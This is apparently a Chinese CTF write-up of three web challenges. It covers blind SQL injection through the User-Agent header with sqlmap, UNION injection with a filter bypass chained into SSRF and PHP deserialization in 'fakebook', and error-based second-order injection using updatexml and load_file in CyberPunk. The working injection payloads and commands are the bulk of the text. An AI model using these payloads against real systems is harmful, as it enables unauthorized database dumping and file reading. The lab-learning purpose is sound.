简简单单的sql
需要寻找SQL,考核的时候dirsearch扫描到了login.php
是个登录框,进行了爆破尝试,密码用admin,尝试在用户名出进行注入点的判断
但是回显 NO SQL,一开始我以为是盲注,结果确实是盲注,只是不在这个页面
已经明确是SQL的话,利用sqlmap来扫描一下,发现常规扫描没有发现,再结合登录页面,说明要在登录的后的页面进行注入,输入用户名和密码进行抓包
下载POST传参的信息,利用sqlmap进行扫描,要设置测试的等级(测试等级到3就够用,要到5也没意见)前面对于sqlmap的了解不多,用这题也可以好好学习一下
sqlmap -r xxxxx --level 3
通过扫描知道注入类型和payload(前面扫描出来都不知道怎么利用)
在UA头扫描发现的,所以在UA头处进行时间盲注,指定UA头
sqlmap -r /home/kali/桌面/1.txt --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" --dbs
爆出所有数据库
爆现在所处的数据库
sqlmap -r /home/kali/桌面/1.txt --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" --current-db
爆表
sqlmap -r /home/kali/桌面/1.txt --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" -D challenges --tables
存在两张表,需要一张一张看
在第一张表里,爆字段
sqlmap -r /home/kali/桌面/1.txt --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" -D challenges -T user_agents --columns
长度为40的字段就是flag
查询字段内容
sqlmap -r /home/kali/桌面/1.txt --level 5 --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0' AND (SELECT 3968 FROM (SELECT(SLEEP(5)))Gujs)-- KBZW" -D challenges -T user_agents -C user_agent --dump
拿到flag
总结:考核的时候对于工具的使用不是很熟练,在判断sql的注入点时不是很清晰,通过这题可以好好学习sqlmap,并且这题涉及到了深层次的扫描,需要熟悉命令和工具
fakebook
这题同时涉及了sql注入,ssrf,反序列化
打开环境,登录和注册,先注册个看看
在blog处有格式的限制,在添加后发现username处可以点击访问
页面是添加的字段内容,但是发现在url处有参数
字段加参数,优先考虑sql注入先看看有没有注入点
在url存在sql注入,开始注入,先判断闭合,发现可以直接使用1
判断字段数
?no=1 order by 1,2,3,4,5#
判断回显位,在union和select中间存在着过滤,尝试绕过,过滤了之间的空格或者说是过滤了"union select"
no=-1 union/**/select 1,2,3,4#
爆库,爆表,爆字段和查询字段名
no=-1 union/**/select 1,database(),3,4# //爆库
no=-1 union/**/select 1,(select group_concat(table_name) from information_schema.tables where table_schema='fakebook'),3,4# //爆表
no=-1 union/**/select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3,4# //爆字段
no=-1 union/**/select 1,(select group_concat(data) from users),3,4# // 查询字段内容
发现data里面有一串序列化字符
用dirsearch扫一下后台,看有没有序列化的文件,robots.txt
下载user.php.bak文件,查看序列化的源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
源码中发现了 curl_exec,说明存在ssrf,存在的三个变量可控的是blog,所以通过blog的注入点,进行ssrf,读取后台发现的flag.php
可以通过序列化脚本运行,也可以直接通过题目的序列化字符串来改
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo;
echo serialize($a);
在1,2,3出进行序列化字符串的注入都失败了,考虑到有4个字段,在页面上只存在3个字段,所以在4尝试
no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
二次注入
二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
网站对我们输入的一些重要的关键字进行了转义,但是这些我们构造的语句已经写进了数据库,可以在没有被转义的地方使用
可能每一次注入都不构成漏洞,但是如果一起用就可能造成注入
打开环境,还是熟悉的各种框,优先查看源代码
有file参数,看能不能通过伪协议来读取到源码(源码是很重要的,我认为在没有得到明显的思路时,可以考虑源码的获取)
search.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
可以发现存在sql注入
<?php
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>
存在注入点,开始注入
可以使用报错注入,也可以使用联合注入,个人觉得报错注入要方便一些
1' and (updatexml(1,concat(0x7e,database(),0x7e),1))#
1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfusers'),0x7e),1))#
1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1))#
看了wp,这题不在数据库中,fuck!!!!!!!!!
用load_file函数
1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30))),1)#
1' or updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60))),1)#